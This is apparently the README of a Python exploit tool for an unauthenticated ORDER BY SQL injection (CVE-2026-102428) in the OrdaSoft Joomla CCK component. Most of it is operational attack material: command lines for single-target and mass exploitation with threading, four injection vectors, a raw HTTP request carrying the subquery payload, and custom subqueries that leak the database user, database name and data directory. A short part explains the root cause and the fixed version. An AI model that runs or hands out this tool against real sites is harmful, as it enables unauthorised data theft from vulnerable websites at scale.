
Python PoC and mass-exploit tool for CVE-2026-102428, an unauthenticated ORDER BY SQL injection in OrdaSoft Joomla CCK (com_os_cck) <=8.3.15, with check mode and error-based data extraction.
Python 3 PoC for CVE-2026-102428 — OrdaSoft Joomla CCK 1.0.0–8.3.15. Fixed in 8.3.16+ (same release as upload RCE CVE-2026-102427).
| PoCbit | https://pocbit.org/pocs/cve-2026-102428 |
| Component | com_os_cck |
| Parameters | order_field, order_direction → ORDER BY (no column allow-list) |
| Auth | None (public CCK record listings) |
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-102428 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-102428 |
| Affected | 1.0.0 – 8.3.15 |
| Fix | ≥ 8.3.16 |
| CWE | CWE-89 |
| CVSS 4.0 | 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N) |
| Verify marker | POCBIT-102428-OK |
Unauthenticated SQL injection in OrdaSoft Joomla CCK before 8.3.16. On public pages that list CCK records, the sort column comes from the client and is appended to the SQL ORDER BY clause without validating it against real table columns (only a keyword-style filter). No login is required. 8.3.16 adds an allow-list of permitted sort keys and restricts direction to safe ASC/DESC values—the same package also fixes upload RCE CVE-2026-102427.
Root cause: ORDER BY identifiers cannot be bound as prepared-statement parameters; the extension must whitelist sort columns. Pre-8.3.16 code trusted client input on the listing sort path.
--mode exploit)Exploit mode differs from check: it skips scoring “candidates” and tries to extract data directly. No authentication. The target must expose at least one public CCK record listing route.
/ and /index.php for com_os_cck links: catid, Itemid, sefid / fk_eid, and task= values seen on the site.showCategory, showInstances, search, …) plus extra tasks from HTML; try combinations of catid / Itemid / sefid (up to 18 live listing routes).order_field=id&order_direction=asc (warms the listing sort code path).GROUP BY style subquery in order_field or order_direction; parse ~leak~ or SQL error text from the response.exploited: true in JSON.hits.txt from check mode is a good mass-exploit input (sites where com_os_cck and a listing route were already found).
The inner SELECT returns POCBIT-102428-OK and MySQL VERSION() for PoC verification plus DB version:
python poc.py -u https://target.example --mode exploit
Example leak: POCBIT-102428-OK:8.0.36
# Default marker + VERSION()
python poc.py -u https://target.example --mode exploit
# After first leak, also run user(), database(), @@version_compile_os
python poc.py -u https://target.example --mode exploit --chain
# Custom inner SELECT (no marker; do not use --verify with this)
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
# Force one vector (WAF / POST-only sites)
python poc.py -u https://target.example --mode exploit --vector order_field_get
python poc.py -u https://target.example --mode exploit --vector order_direction_post
# 1) Discovery + candidate list
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
# 2) Extraction
python poc.py --list hits.txt --mode exploit -j 15 --exploited-list exploited.txt
--output — Full JSONL log (mass exploit auto-names cve_2026_102428_exploit.jsonl when default output is used).--exploited-list — Only exploited: true rows: URL<TAB>leak<TAB>vector.-j / --threads — Parallel targets (default 20).Per endpoint, the PoC tries these in order (unless --vector forces one):
| Vector | HTTP | Parameter |
|---|---|---|
order_field_get | GET | order_field=<subquery expr> |
order_direction_get | GET | order_direction=asc,<subquery expr> |
order_field_post | POST | form order_field |
order_direction_post | POST | form order_direction=asc,<expr> |
The order_field value is inserted into an unquoted ORDER BY expression, so (SELECT …)-style payloads can pass where a column name would.
Listing route (PoC appends the payload):
GET /index.php?option=com_os_cck&task=showCategory&catid=1&order_field=(SELECT%206062%20FROM(...))&order_direction=asc HTTP/1.1
Host: target.example
For search-like tasks, the PoC adds fields such as submit=Search and search_text=.
| Field | Meaning |
|---|---|
exploited | true if at least one leak was obtained |
leak | Extracted string (tilde / error parse) |
sqli_vector | Winning vector name |
endpoint | task, catid, sefid, full route URL |
leaks | Extra query results when using --chain |
status | sqli_extract_ok, or blocked_or_patched / no_route |
endpoints_tried | How many routes were tried on failure |
verify_marker | Expected PoC signature (POCBIT-102428-OK) |
Exit code: 0 only when exploited: true; otherwise 1 (CI/script friendly).
| Flag | Meaning |
|---|---|
--subquery | Inner SELECT inside the ORDER BY payload (default: marker + VERSION()) |
--verify | Do not count success unless leak contains POCBIT-102428-OK |
--chain | After first success, also pull user(), database(), @@version_compile_os |
--vector | Force one of the four vectors |
--timeout | HTTP timeout (seconds) |
--proxy | e.g. http://127.0.0.1:8080 |
--quiet | Minimal logging; JSON still printed for single -u |
--aggressive applies to check mode only; exploit always attempts extraction.
| Status / situation | Meaning |
|---|---|
sqli_extract_ok + exploited: true | Vulnerability exploited; leak is usable |
no_route | No public CCK listing found (disabled component, custom URLs) |
blocked_or_patched | Route exists but no leak → WAF, 8.3.16+, or non-MySQL (PoC is MySQL error-based) |
| HIT on check, no leak on exploit | Retry with --vector from check’s sqli_vector, or run check with --aggressive |
Short expressions suitable for the error-based payload:
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --subquery "SELECT database()"
python poc.py -u https://target.example --mode exploit --subquery "SELECT @@datadir"
This PoC does not implement long UNION or time-based blind chains; the goal is fast error-based proof and intelligence extraction.
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
Fingerprints administrator/components/com_os_cck/os_cck.xml, homepage com_os_cck hints, and confirms SQLi with a random marker (optional VERSION() leak with --aggressive).
cd CVE-2026-102428
pip install -r requirements.txt